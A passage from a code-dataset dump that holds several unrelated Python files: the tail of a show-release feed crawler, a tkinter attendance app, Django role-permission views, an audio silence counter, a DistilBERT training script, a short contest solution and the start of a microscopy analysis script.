self.config.get(\"rejectlist\").replace(\",\", \"|\").lower() if len(\n self.config.get(\"rejectlist\")) > 0 else r\"^unmatchable$\"\n except TypeError:\n reject = r\"^unmatchable$\"\n\n current_set = settings_hash(self, False)\n sha = False\n\n header = False\n response = False\n\n while self.day < 8:\n if self.last_set == current_set:\n try:\n url = feed_url(self)\n if url:\n response = get_url_headers(url, self.configfile, self.dbfile, self.headers, self.scraper)\n self.scraper = response[1]\n response = response[0]\n if self.filename == \"List_ContentAll_Seasons\" or self.filename == \"List_ContentShows_Seasons_Regex\":\n feed = self.get_feed_method(response.text, \"seasons\", 'https://' + self.url, True)\n else:\n feed = self.get_feed_method(response.text, \"episodes\", 'https://' + self.url, True)\n else:\n feed = False\n except:\n print(self._SITE + u\" hat die Feed-API angepasst. Breche Suche ab!\")\n feed = False\n\n if response:\n if response.status_code == 304:\n self.log_debug(\n self._SITE + \"-Feed seit letztem Aufruf nicht aktualisiert - breche Suche ab!\")\n return self.device\n header = True\n else:\n try:\n url = feed_url(self)\n if url:\n response = get_url(url, self.configfile, self.dbfile, self.scraper)\n if self.filename == \"List_ContentAll_Seasons\" or self.filename == \"List_ContentShows_Seasons_Regex\":\n feed = self.get_feed_method(response, \"seasons\", 'https://' + self.url, True)\n else:\n feed = self.get_feed_method(response, \"episodes\", 'https://' + self.url, True)\n else:\n feed = False\n except:\n print(self._SITE + u\" hat die Feed-API angepasst. Breche Suche ab!\")\n feed = False\n\n self.day += 1\n\n if feed and feed.entries:\n first_post = feed.entries[0]\n concat = first_post.title + first_post.published + str(self.settings) + str(self.pattern)\n sha = hashlib.sha256(concat.encode(\n 'ascii', 'ignore')).hexdigest()\n else:\n self.log_debug(\n \"Feed ist leer - breche Suche ab!\")\n return False\n\n for post in feed.entries:\n concat = post.title + post.published + \\\n str(self.settings) + str(self.pattern)\n sha = hashlib.sha256(concat.encode(\n 'ascii', 'ignore')).hexdigest()\n if sha == self.last_sha:\n self.log_debug(\n \"Feed ab hier bereits gecrawlt (\" + post.title + \") - breche Suche ab!\")\n break\n\n series_url = post.series_url\n title = post.title.replace(\"-\", \"-\")\n\n if self.filename == 'List_ContentShows_Shows_Regex':\n if self.config.get(\"regex\"):\n if '.german.' in title.lower():\n language_id = 1\n elif self.feedcrawler.get('english'):\n language_id = 2\n else:\n language_id = 0\n if language_id:\n m = re.search(self.pattern, title.lower())\n if not m and \"720p\" not in title and \"1080p\" not in title and \"2160p\" not in title:\n m = re.search(self.pattern.replace(\n \"480p\", \".\"), title.lower())\n self.quality = \"480p\"\n if m:\n if \"720p\" in title.lower():\n self.quality = \"720p\"\n if \"1080p\" in title.lower():\n self.quality = \"1080p\"\n if \"2160p\" in title.lower():\n self.quality = \"2160p\"\n m = re.search(reject, title.lower())\n if m:\n self.log_debug(\n title + \" - Release durch Regex gefunden (trotz rejectlist-Einstellung)\")\n title = re.sub(r'\\[.*\\] ', '', post.title)\n package = self.parse_download_method(self, series_url, title, language_id)\n if package:\n title = package[0]\n site = self._SITE\n download_link = False\n if self.prefer_dw_mirror and \"DW\" not in site:\n download_links = dw_mirror(self, title)\n if download_links:\n download_link = download_links[0]\n site = \"DW/\" + site\n if not download_link:\n download_link = package[1]\n language_id = package[2]\n season = package[3]\n episode = package[4]\n send_package(self, title, download_link, language_id, season, episode, site)\n else:\n self.log_debug(\n \"%s - Englische Releases deaktiviert\" % title)\n\n else:\n continue\n elif self.filename == 'List_ContentShows_Seasons_Regex':\n if self.config.get(\"regex\"):\n if '.german.' in title.lower():\n language_id = 1\n elif self.feedcrawler.get('english'):\n language_id = 2\n else:\n language_id = 0\n if language_id:\n m = re.search(self.pattern, title.lower())\n if not m and \"720p\" not in title and \"1080p\" not in title and \"2160p\" not in title:\n m = re.search(self.pattern.replace(\n \"480p\", \".\"), title.lower())\n self.quality = \"480p\"\n if m:\n if \"720p\" in title.lower():\n self.quality = \"720p\"\n if \"1080p\" in title.lower():\n self.quality = \"1080p\"\n if \"2160p\" in title.lower():\n self.quality = \"2160p\"\n m = re.search(reject, title.lower())\n if m:\n self.log_debug(\n title + \" - Release durch Regex gefunden (trotz rejectlist-Einstellung)\")\n title = re.sub(r'\\[.*\\] ', '', post.title)\n package = self.parse_download_method(self, series_url, title, language_id)\n if package:\n title = package[0]\n site = self._SITE\n download_link = False\n if self.prefer_dw_mirror and \"DW\" not in site:\n download_links = dw_mirror(self, title)\n if download_links:\n download_link = download_links[0]\n site = \"DW/\" + site\n if not download_link:\n download_link = package[1]\n language_id = package[2]\n season = package[3]\n episode = package[4]\n send_package(self, title, download_link, language_id, season, episode, site)\n else:\n self.log_debug(\n \"%s - Englische Releases deaktiviert\" % title)\n\n else:\n continue\n else:\n if self.config.get(\"quality\") != '480p':\n m = re.search(self.pattern, title.lower())\n if m:\n if '.german.' in title.lower():\n language_id = 1\n elif self.feedcrawler.get('english'):\n language_id = 2\n else:\n language_id = 0\n if language_id:\n mm = re.search(self.quality, title.lower())\n if mm:\n mmm = re.search(reject, title.lower())\n if mmm:\n self.log_debug(\n title + \" - Release ignoriert (basierend auf rejectlist-Einstellung)\")\n continue\n if self.feedcrawler.get(\"surround\"):\n if not re.match(r'.*\\.(DTS|DD\\+*51|DD\\+*71|AC3\\.5\\.*1)\\..*', title):\n self.log_debug(\n title + \" - Release ignoriert (kein Mehrkanalton)\")\n continue\n try:\n storage = self.db.retrieve_all(title)\n except Exception as e:\n self.log_debug(\n \"Fehler bei Datenbankzugriff: %s, Grund: %s\" % (e, title))\n return self.device\n if 'added' in storage:\n self.log_debug(\n title + \" - Release ignoriert (bereits gefunden)\")\n continue\n package = self.parse_download_method(self, series_url, title, language_id)\n if package:\n title = package[0]\n site = self._SITE\n download_link = False\n if self.prefer_dw_mirror and \"DW\" not in site:\n download_links = dw_mirror(self, title)\n if download_links:\n download_link = download_links[0]\n site = \"DW/\" + site\n if not download_link:\n download_link = package[1]\n language_id = package[2]\n season = package[3]\n episode = package[4]\n send_package(self, title, download_link, language_id, season, episode, site)\n else:\n self.log_debug(\n \"%s - Englische Releases deaktiviert\" % title)\n\n else:\n m = re.search(self.pattern, title.lower())\n if m:\n if '.german.' in title.lower():\n language_id = 1\n elif self.feedcrawler.get('english'):\n language_id = 2\n else:\n language_id = 0\n if language_id:\n if \"720p\" in title.lower() or \"1080p\" in title.lower() or \"2160p\" in title.lower():\n continue\n mm = re.search(reject, title.lower())\n if mm:\n self.log_debug(\n title + \" Release ignoriert (basierend auf rejectlist-Einstellung)\")\n continue\n if self.feedcrawler.get(\"surround\"):\n if not re.match(r'.*\\.(DTS|DD\\+*51|DD\\+*71|AC3\\.5\\.*1)\\..*', title):\n self.log_debug(\n title + \" - Release ignoriert (kein Mehrkanalton)\")\n continue\n title = re.sub(r'\\[.*\\] ', '', post.title)\n try:\n storage = self.db.retrieve_all(title)\n except Exception as e:\n self.log_debug(\n \"Fehler bei Datenbankzugriff: %s, Grund: %s\" % (e, title))\n return self.device\n if 'added' in storage:\n self.log_debug(\n title + \" - Release ignoriert (bereits gefunden)\")\n continue\n package = self.parse_download_method(self, series_url, title, language_id)\n if package:\n title = package[0]\n site = self._SITE\n download_link = False\n if self.prefer_dw_mirror and \"DW\" not in site:\n download_links = dw_mirror(self, title)\n if download_links:\n download_link = download_links[0]\n site = \"DW/\" + site\n if not download_link:\n download_link = package[1]\n language_id = package[2]\n season = package[3]\n episode = package[4]\n send_package(self, title, download_link, language_id, season, episode, site)\n else:\n self.log_debug(\n \"%s - Englische Releases deaktiviert\" % title)\n\n if current_set and sha:\n new_set = settings_hash(self, True)\n if current_set == new_set:\n self.cdc.delete(self._INTERNAL_NAME + \"Set-\" + self.filename)\n self.cdc.store(self._INTERNAL_NAME + \"Set-\" + self.filename, current_set)\n self.cdc.delete(self._INTERNAL_NAME + \"-\" + self.filename)\n self.cdc.store(self._INTERNAL_NAME + \"-\" + self.filename, sha)\n\n if header and response:\n self.cdc.delete(self._INTERNAL_NAME + \"Headers-\" + self.filename)\n self.cdc.store(self._INTERNAL_NAME + \"Headers-\" + self.filename, response.headers['date'])\n\n return self.device\n","sub_path":"feedcrawler/sites/shared/content_shows.py","file_name":"content_shows.py","file_ext":"py","file_size_in_byte":20195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"296015405","text":"# -*- coding: utf-8 -*-\r\n\r\nimport tkinter as tk\r\nfrom tkinter import filedialog, RIGHT, messagebox\r\nfrom PIL import ImageTk, Image\r\nimport miner\r\n\r\ndates=zoomfile=classfile=\"\"\r\n\r\nLARGE_FONT=(\"Times\",\"15\",\"bold\")\r\nSMALL_FONT=(\"Verdana\",\"10\",\"bold\")\r\n\r\nclass Control(tk.Tk):\r\n def __init__(self, *args, **kwargs):\r\n \r\n tk.Tk.__init__(self, *args, **kwargs)\r\n container = tk.Frame(self)\r\n container.pack(side=\"top\", fill=\"both\", expand = False)\r\n container.grid_rowconfigure(0, weight=1)\r\n container.grid_columnconfigure(0, weight=1)\r\n self.frames = {}\r\n frame = Start(container, self)\r\n self.frames[Start] = frame\r\n frame.grid(row=0, column=0, sticky=\"nsew\")\r\n self.show_frame(Start)\r\n self.resizable(False, False)\r\n self.iconbitmap('icon.ico')\r\n\r\n def show_frame(self, cont):\r\n frame = self.frames[cont]\r\n frame.config(background='black')\r\n frame.tkraise()\r\n \r\n def close_window(self):\r\n self.destroy()\r\n \r\n \r\nclass Start(tk.Frame):\r\n \r\n def __init__(self, parent, controller):\r\n tk.Frame.__init__(self,parent)\r\n \r\n load = Image.open(\"logo.png\")\r\n render = ImageTk.PhotoImage(load)\r\n \r\n img = tk.Label(self, image=render, bg=\"black\")\r\n img.image = render\r\n img.place(x=85,y=5)\r\n img.pack()\r\n \r\n label = tk.Label(self, text=\"Hello professor,\",bg=\"black\", fg=\"white\", font=LARGE_FONT)\r\n label.pack(pady=10,padx=10)\r\n \r\n csvLabel = tk.Label(self ,text = \"Enter Lecture Date:\", bg=\"black\", fg=\"white\", font=SMALL_FONT)\r\n csvLabel.pack(pady=10,padx=10)\r\n dates = tk.Entry(self, width=50)\r\n dates.pack()\r\n \r\n zoom_chat = tk.Button(self, text='Select the Chat text file',font=SMALL_FONT, width=25, command = lambda : self.uploadz(controller)) \r\n zoom_chat.pack(pady=10,padx=10)\r\n \r\n class_list = tk.Button(self, text='Select the Class spreadsheet', font=SMALL_FONT, width=25, command = lambda : self.uploadc(controller)) \r\n class_list.pack()\r\n\r\n done_button = tk.Button(self, text=\"Done\",font=LARGE_FONT, command=lambda: self.startexe(dates.get(),controller))\r\n done_button.pack(side=RIGHT,padx=5, pady=5)\r\n \r\n def uploadz(self, controller):\r\n global zoomfile\r\n filety= [(\"text files\", \"*.txt\")]\r\n zoomfile = filedialog.askopenfilename(parent=self,title='Chat file',filetypes=filety)\r\n if zoomfile != \"\":\r\n tk.messagebox.showinfo(title=\"Success\", message=\"Well done! Now choose a class list.\")\r\n else:\r\n tk.messagebox.showerror(title=\"Error\", message=\"File not chosen. Try again.\")\r\n \r\n \r\n def uploadc(self, controller):\r\n global classfile\r\n filety= [(\"excel files\", \"*.xlsx\")]\r\n classfile = filedialog.askopenfilename(parent=self,title='Class List',filetypes=filety)\r\n if classfile != \"\":\r\n tk.messagebox.showinfo(title=\"Success\", message=\"Well done! Now click Done.\")\r\n else:\r\n tk.messagebox.showerror(title=\"Error\", message=\"File not chosen. Try again.\")\r\n \r\n \r\n def startexe(self, dates, controller):\r\n if dates == \"\":\r\n tk.messagebox.showerror(title=\"Error\", message=\"Please enter the lecture date or description.\")\r\n else:\r\n try:\r\n miner.main(dates, zoomfile, classfile)\r\n except:\r\n tk.messagebox.showerror(title=\"Error\", message=\"Wrong table structure! Read Markdown file for assistance.\")\r\n if messagebox.askyesno(\"Done\",\"Thank you. Do you want to close this app?\"):\r\n controller.close_window()\r\n else:\r\n controller.show_frame(Start)\r\n \r\n \r\napp = Control()\r\napp.title('Attendance App') \r\napp.geometry(\"500x320+300+300\")\r\napp.configure(bg='black')\r\napp.mainloop()\r\n ","sub_path":"Source Code/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":4006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"648625774","text":"from django.shortcuts import render, redirect, HttpResponse\nfrom django.http import *\nfrom django.views import View\nfrom django.urls import reverse\n\nfrom django.db.models import *\n\n# Create your views here.\nfrom rbac.rbacforms.myforms import *\n\n# Create your views here.\n# 添加编辑视图(可追加url)\nclass AddOrEdit(View):\n def get_obj(self, request, form_id=None):\n id = form_id\n if not id:\n id = 1\n dic = {\n reverse('rbac:role_edit', args=(id,)): [models.Role, RoleModelForm],\n reverse('rbac:role_add'): [models.Role, RoleModelForm],\n reverse('rbac:menu_edit', args=(id,)): [models.TopMenu, TopMenuModelForm],\n reverse('rbac:menu_add'): [models.TopMenu, TopMenuModelForm],\n reverse('rbac:access_edit', args=(id,)): [models.Permission, PermissionModelForm],\n reverse('rbac:access_add'): [models.Permission, PermissionModelForm],\n }\n\n obj_list = dic.get(request.path)[0].objects.filter(id=form_id)\n if request.method == 'GET':\n modelform_obj = dic.get(request.path)[1](request, instance=obj_list.first())\n else:\n modelform_obj = dic.get(request.path)[1](request, request.POST, instance=obj_list.first())\n return obj_list, modelform_obj\n\n def get(self, request, form_id=None):\n obj_list, modelform_obj = self.get_obj(request, form_id)\n return render(request, 'access_manage/add_or_edit.html', locals())\n\n def post(self, request, form_id=None):\n obj_list, modelform_obj = self.get_obj(request, form_id)\n if modelform_obj.is_valid():\n modelform_obj.save()\n return redirect(request.GET.get(\"next_url\"))\n else:\n return render(request, 'access_manage/add_or_edit.html', locals())\n\nclass RoleList(View):\n def get(self,request):\n if request.GET.get(\"delobj\"):\n self.delobj(request.GET.get(\"delobj\"))\n return redirect('rbac:role_list')\n role_list = models.Role.objects.all()\n return render(request,\"access_manage/role_list.html\",{\"role_list\":role_list})\n\n def delobj(self,obj_id):\n models.Role.objects.filter(id=obj_id).delete()\n\n#用于排序的类\nclass SortList:\n \"\"\"\n 对菜单进行排序,全非菜单非子权限的置顶,\n 然后二级菜单-子权限一一对应\n \"\"\"\n def __init__(self,lst):\n self.lst = lst\n\n def get_null(self):\n for i in self.lst:\n if not i.get('menu_id') and not i.get(\"parent_id\"):\n yield i\n\n def get_menu(self):\n for i in self.lst:\n if i.get('menu_id'):\n yield i\n\n def get_child(self):\n data = list(self.get_menu())\n for i in data.copy():\n child = []\n for j in self.lst:\n if j.get(\"parent_id\") == i[\"id\"]:\n child.append(j)\n data[data.index(i):data.index(i)+1] = [i] + child\n return data\n\n def get_sorted(self):\n return list(self.get_null())+self.get_child()\n\n\nclass MenuList(View):\n def get(self,request):\n if request.GET.get(\"delmenuobj\"):\n self.delmenuobj(request.GET.get(\"delmenuobj\"))\n return redirect('rbac:menu_list')\n if request.GET.get(\"delaccessobj\"):\n self.delaccessobj(request.GET.get(\"delaccessobj\"))\n return redirect('rbac:menu_list')\n if request.GET.get(\"access_to_del\"):\n self.access_to_del(request.GET.get(\"access_to_del\"))\n return redirect('rbac:access_list')\n menu_list = models.TopMenu.objects.all()\n access_list = models.Permission.objects.all()\n\n menu_id = request.GET.get('menu_id',0)\n if menu_id:\n access_list = access_list.filter(Q(menu_id=menu_id)|Q(parent__menu_id=menu_id))\n access_list = access_list.values('menu_id',\n 'parent_id','access_name','url','url_name','parent__access_name','id')\n access_list = SortList(access_list).get_sorted()\n return render(request,\"access_manage/menu_list.html\",{\"menu_list\":menu_list,\n \"access_list\":access_list,\n \"menu_id\":int(menu_id)})\n\n def delmenuobj(self,obj_id):\n models.TopMenu.objects.filter(id=obj_id).delete()\n\n def delaccessobj(self,obj_id):\n models.Permission.objects.filter(id=obj_id).delete()\n\n def access_to_del(self,obj_id):\n models.Permission.objects.filter(id=obj_id).delete()\n\nfrom django.forms import modelformset_factory,formset_factory\n\n\n\nfrom django.conf import settings\nfrom django.utils.module_loading import import_string\nfrom django.urls import RegexURLResolver, RegexURLPattern\nfrom collections import OrderedDict\n\n\n\ndef recursion_urls(pre_namespace, pre_url, urlpatterns, url_ordered_dict):\n for item in urlpatterns:\n # 获取当前路径\n cur_url = item.regex.pattern.strip(\"^$\")\n if isinstance(item, RegexURLPattern):\n if pre_namespace:\n if not item.name:\n raise Exception('URL路由中必须设置name属性')\n url_ordered_dict[f\"{pre_namespace}:{item.name}\"] = {\"url_name\":f\"{pre_namespace}:{item.name}\",\"url\":pre_url + cur_url}\n else:\n url_ordered_dict[f\"{item.name}\"] = {\"url_name\":f\"{item.name}\",\"url\":pre_url + cur_url}\n else:\n namespace = item.namespace\n recursion_urls(namespace, pre_url + cur_url, item.url_patterns, url_ordered_dict)\n\ndef get_all_url_dict(ignore_namespace_list=None):\n \"\"\"\n 获取路由中\n :return:\n \"\"\"\n ignore_list = ignore_namespace_list or [] # 短路操作 ['admin',]\n url_ordered_dict = OrderedDict() # 有序字典,最终要使用的字典数据\n\n #通过路径获取文件对象(项目urls)\n md = import_string(settings.ROOT_URLCONF)\n urlpatterns = []\n\n # 通过项目路由获取路径解析对象\n #解析对象-RegexURLResolver\n #可执行对象-RegexURLPattern\n for item in md.urlpatterns:\n if isinstance(item, RegexURLResolver) and item.namespace in ignore_list:\n #跳过忽略列表中的解析器\n continue\n urlpatterns.append(item)\n\n recursion_urls(None, \"/\", urlpatterns, url_ordered_dict)\n return url_ordered_dict\n\n#批量操作权限\nclass AccessList(View):\n\n\n def get(self, request):\n\n #更新用\n AccessSet = modelformset_factory(models.Permission, AccessModelForm, extra=0)\n\n #添加用\n AccessSetAdd = formset_factory(AccessModelForm, extra=0)\n\n # 获取数据库中现有的所有权限数据\n permissions = models.Permission.objects.all()\n\n # 获取项目的路由系统中所有URL\n router_dict = get_all_url_dict(ignore_namespace_list=['admin'])\n\n # 数据库中的所有权限的别名\n permissions_name_set = set([i.url_name for i in permissions])\n\n # 路由系统中的所有权限的别名\n router_name_set = set(router_dict.keys())\n\n # 新增差集(路由有,数据库没有)\n add_name_set = router_name_set - permissions_name_set\n # 通过initial设置对应字段初始值\n access_list_to_add = AccessSetAdd(initial=[row for name, row in router_dict.items() if name in add_name_set])\n\n # 待删除差集(数据库有,路由没有)\n del_name_set = permissions_name_set - router_name_set\n access_list_to_del = AccessSet(queryset=models.Permission.objects.filter(url_name__in=del_name_set))\n\n #更新交集(数据库及路由同时存在的部分)\n update_name_set = permissions_name_set & router_name_set\n access_list_to_update = AccessSet(queryset=models.Permission.objects.filter(url_name__in=update_name_set))\n\n return render(request, 'access_manage/access_list.html', locals())\n\n def post(self, request):\n # 更新用\n AccessSet = modelformset_factory(models.Permission, AccessModelForm, extra=0)\n\n # 添加用\n AccessSetAdd = formset_factory(AccessModelForm, extra=0)\n post_type = request.GET.get('type') # add\n if post_type == 'add':\n add_formset = AccessSetAdd(request.POST)\n if add_formset.is_valid():\n permission_obj_list = [models.Permission(**i) for i in add_formset.cleaned_data]\n models.Permission.objects.bulk_create(permission_obj_list)\n return redirect('rbac:access_list')\n\n if post_type == 'update':\n update_formset = AccessSet(request.POST)\n if update_formset.is_valid():\n update_formset.save()\n return redirect('rbac:access_list')\n else:\n return redirect('rbac:access_list')\n\n\nclass AccessDistribute(View):\n def get(self,request,p_uid=0,p_rid=0):\n uid = request.GET.get('uid') or p_uid or 0\n rid = request.GET.get('rid') or p_rid or 0\n # 获取所有用户\n user_list = models.UserInfo.objects.all()\n\n # 获取所有角色信息\n role_list = models.Role.objects.all()\n\n # 获取当前选择用户的角色信息id\n user_has_roles_list = [item.id for item in role_list.filter(userinfo__id=uid)]\n\n\n # 获取当前用户及对应角色所有权限id\n # if uid\n role_has_access_list = [item.id for item in models.Permission.objects.filter(\n Q(role__userinfo__id=uid)|Q(role__id=rid))]\n menu_top = list(models.TopMenu.objects.filter().values().order_by('-weight').distinct())\n for menu_obj in menu_top:\n # 根据一级菜单筛选二级菜单并按权重降序排序\n menu_obj['secondary_menu'] = list(models.Permission.objects.filter(menu_id=menu_obj.get('id')).values().order_by(\n '-weight').distinct())\n for third_obj in menu_obj['secondary_menu']:\n third_obj['third_menu'] = list(models.Permission.objects.filter(parent_id=third_obj.get('id')).values().order_by(\n '-weight').distinct())\n # all_menu_list = menu_top\n return render(request,'access_manage/distribute_access.html',locals())\n\n def post(self,request):\n uid = request.GET.get('uid')\n rid = request.GET.get('rid')\n roles_to_update = request.POST.getlist('roles')\n access_to_update = request.POST.getlist('permissions')\n if uid and roles_to_update:\n user = models.UserInfo.objects.filter(id=uid).first()\n if not user:\n return HttpResponse('用户不存在')\n user.roles.set(roles_to_update)\n\n if rid and access_to_update:\n role = models.Role.objects.filter(id=rid).first()\n if not role:\n return HttpResponse('角色不存在')\n role.permissions.set(access_to_update)\n\n return self.get(request,uid,rid)\n\ndef test(request):\n return HttpResponse(\"test\")","sub_path":"Python项目/day70/luffy_permission-最初板/rbac/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"329735805","text":"import pydub\nimport pydub.silence as sl\nimport sys\nimport re\nimport datetime\nimport glob\nfrom tqdm import tqdm\n\n\nsilence_len = 3000 # Минимальная длина промежутка молчания.\ndate_rgx = re.compile(r'.*recording-(\\d{8})')\n\n\ndef get_date(file_name):\n s = date_rgx.match(file_name).group(1)\n return datetime.datetime.strptime(s, '%Y%m%d')\n\n\ndef print_results(records):\n for k, v in records.items():\n print(f'{k.strftime(\"%Y-%m-%d\")} : {round(v)} minute(s)')\n\n\ndef main(args):\n\n if(len(args) < 1):\n files = glob.glob(\"./*.mp3\")\n else:\n files = glob.glob(f'{args[0].rstrip(\"/\")}/*.mp3')\n\n if(len(files) < 1):\n print('Записи не найдены')\n return\n records = {}\n print('Обработка...')\n for file in tqdm(files):\n audio = pydub.AudioSegment.from_mp3(file)\n sound_spans = sl.detect_nonsilent(audio, min_silence_len=silence_len,\n seek_step=500,\n silence_thresh=-40)\n d = get_date(file)\n if d in records:\n records[d] += sum([span[1]-span[0]\n for span in sound_spans])/1000/60\n else:\n records[d] = sum([span[1]-span[0]\n for span in sound_spans])/1000/60\n\n print('\\nГотово:\\n')\n print_results(records)\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"silence/silence.py","file_name":"silence.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"70933438","text":"import config\r\nimport dataset\r\nimport pandas as pd\r\nimport torch\r\nimport engine \r\nfrom model import DistillBERTClass\r\nimport transformers\r\nfrom torch.utils.data import Dataset, DataLoader\r\nfrom transformers import DistilBertModel, DistilBertTokenizer\r\n\r\ndef run():\r\n df = pd.read_csv('D:/Machine Learning/Datasets/NewsAggregatorDataset/newsCorpora.csv', sep='\\t', names=['ID','TITLE', 'URL', 'PUBLISHER', 'CATEGORY', 'STORY', 'HOSTNAME', 'TIMESTAMP'], nrows = 3000)\r\n # df.head()\r\n # # Removing unwanted columns and only leaving title of news and the category which will be the target\r\n df = df[['TITLE','CATEGORY']]\r\n # df.head()\r\n\r\n # # Converting the codes to appropriate categories using a dictionary\r\n my_dict = {\r\n 'e':'Entertainment',\r\n 'b':'Business',\r\n 't':'Science',\r\n 'm':'Health'\r\n }\r\n\r\n def update_cat(x):\r\n return my_dict[x]\r\n\r\n df['CATEGORY'] = df['CATEGORY'].apply(lambda x: update_cat(x))\r\n\r\n encode_dict = {}\r\n\r\n def encode_cat(x):\r\n if x not in encode_dict.keys():\r\n encode_dict[x]=len(encode_dict)\r\n return encode_dict[x]\r\n\r\n df['ENCODE_CAT'] = df['CATEGORY'].apply(lambda x: encode_cat(x))\r\n train_size = 0.8\r\n train_dataset=df.sample(frac=train_size,random_state=200)\r\n test_dataset=df.drop(train_dataset.index).reset_index(drop=True)\r\n train_dataset = train_dataset.reset_index(drop=True)\r\n\r\n\r\n print(\"FULL Dataset: {}\".format(df.shape))\r\n print(\"TRAIN Dataset: {}\".format(train_dataset.shape))\r\n print(\"TEST Dataset: {}\".format(test_dataset.shape))\r\n\r\n training_set = dataset.Triage(train_dataset)\r\n testing_set = dataset.Triage(test_dataset)\r\n \r\n train_params = {'batch_size': config.TRAIN_BATCH_SIZE,\r\n 'shuffle': True,\r\n 'num_workers': 0,\r\n }\r\n\r\n test_params = {'batch_size': config.VALID_BATCH_SIZE,\r\n 'shuffle': True,\r\n 'num_workers': 0\r\n }\r\n\r\n training_loader = DataLoader(training_set, **train_params)\r\n testing_loader = DataLoader(testing_set, **test_params)\r\n\r\n device = config.DEVICE\r\n model = DistillBERTClass()\r\n model.to(device)\r\n optimizer = torch.optim.Adam(params = model.parameters(), lr=config.LEARNING_RATE)\r\n for epoch in range(config.EPOCHS):\r\n engine.train(training_loader, model, optimizer, device, epoch)\r\n engine.valid(model, testing_loader, device)\r\n\r\n output_model_file = './models/pytorch_distilbert_news.bin'\r\n output_vocab_file = './models/vocab_distilbert_news.bin'\r\n\r\n model_to_save = model\r\n torch.save(model_to_save, output_model_file)\r\n tokenizer.save_vocabulary(output_vocab_file)\r\n\r\nif __name__ == \"__main__\":\r\n run()\r\n \r\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"209303485","text":"# https://atcoder.jp/contests/abc046/tasks/abc046_b\nimport sys\nsys.setrecursionlimit(2147483647)\nINF=float(\"inf\")\nMOD=10**9+7\ninput=lambda :sys.stdin.readline().rstrip()\ndef resolve():\n n,k=map(int,input().split())\n print(k*((k-1)**(n-1)))\nresolve()\n","sub_path":"ABC046/b_painting_balls_with_atcodeer.py","file_name":"b_painting_balls_with_atcodeer.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"282848125","text":"from utils_LEXY import *\n\nimport sys\nimport numpy as np\nimport scipy as sp\nfrom scipy.optimize import curve_fit\n\nimport pandas as pd\nimport skimage\nfrom skimage import io\nfrom skimage import measure\nimport mahotas as mh\n\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\n\nimport trackpy as tp\n\nimport os,glob\nimport re\nimport gc\nimport json\n\nif len(sys.argv) != 3:\n print(\"Use: python nuclei_LEXY_analysis.py raw_image_dir analysis_dir\")\n sys.exit()\nelse:\n raw_image_dir = sys.argv[1] #raw image pth\n analysis_dir = sys.argv[2] #analysis pth\n\ncode_ver = 'v5'\nrefinement_setting = {'N':3, 'repeat': 1} #segmentation refinement setting. \n#N=3, repeat=1 for rupture assay, and N=10, repeat=2 for import/export assay \ntracking_setting = {'link_distance':40,'memory':1,'adaptive_step':0.99,'adaptive_stop':5} #nucleus tracking setting\n \nbasename = ''\nAcqStates = ['PreLitZScan','PreLit','Lit','PostLit','PostLitGFP','Rupture','PostLitLSSmKate']\n#reg_cycle = '(?<=[PreLitZScan|PreLit|Lit|PostLit|Rupture])(?P\\d*)(?=_w)'\nreg_Pos = '(?<=_s)(?P\\d*)'\nreg_T = '(?<=_t)(?P\\d*)(?=.)'\nreg_Ch = '(?<=_w\\d)(tae |Fluo |Confocal )?(?P[^\\s^_]*)\\s?\\w+?(?=_)'\ndrop_Chs = ['Cyan']\n#nucl_Chs = ['642','Far-Red']\n#lexy_Chs = ['561','Red']\nCh_map = {'642':'nucl',\n 'Far-Red':'nucl',\n '640':'nucl',\n '561':'LEXY',\n 'Red':'LEXY',\n '447':'447',\n '491':'491',\n '445':'445',\n 'LSSmKate':'LSSmKate'} # Ch:ChannelName dictionary. Channel names should include 'nucl' at least \n#binning_factor = 2\n\n#Load data list\n\nfpths = glob.glob(raw_image_dir+basename+'*.TIF')+glob.glob(raw_image_dir+basename+'*.tif')\n\nmetadict_list = []\nfor fpth in fpths:\n fname = re.split('/',fpth)[-1]\n \n metadata = {'Filename':fname,'AcqState':np.nan,'T':0,'Ch':np.nan,'Cycle':0,'Pos':0}\n \n state_re = re.search('(?<=%s).*?(?=\\d*_)' %basename,fname)\n T_re = re.search(reg_T,fname)\n Ch_re = re.search(reg_Ch,fname)\n cyc_re = re.search('(?P\\d*)(?=_)',fname)\n Pos_re = re.search(reg_Pos,fname)\n \n if state_re:\n metadata['AcqState'] = state_re.group(0)\n \n if T_re:\n metadata['T'] = int(T_re.group('T'))\n \n if Ch_re:\n metadata['Ch'] = Ch_re.group('Ch')\n \n if cyc_re:\n if len(cyc_re.group('Cycle'))>0:\n metadata['Cycle'] = int(cyc_re.group('Cycle'))\n \n if Pos_re:\n if len(Pos_re.group('Pos'))>0:\n metadata['Pos'] = int(Pos_re.group('Pos'))\n \n metadict_list.append(metadata)\n \ndf_meta = pd.DataFrame(metadict_list)\ndf_meta['AcqState'] = pd.Categorical(df_meta['AcqState'],AcqStates)\ndf_meta[['T','Cycle','Pos']] = df_meta[['T','Cycle','Pos']].astype(int,errors='ignore')\ndf_meta = df_meta.loc[[ch not in drop_Chs for ch in df_meta['Ch']]].copy()\ndf_meta = df_meta.sort_values(['Pos','Cycle','AcqState','T','Ch']).reset_index(drop=True)\n\ndf_meta.head()\n\n\n#Load segmentation list\nfpths = glob.glob(analysis_dir+'segm/'+basename+'*.png')\n\ndict_list = []\nfor fpth in fpths:\n fname = re.split('/',fpth)[-1]\n \n d = {'Filename':fname,'AcqState':np.nan,'T':0,'Ch':np.nan,'Cycle':0,'Pos':0}\n \n state_re = re.search('(?<=%s).*?(?=\\d*_)' %basename,fname)\n T_re = re.search(reg_T,fname)\n Ch_re = re.search(reg_Ch,fname)\n cyc_re = 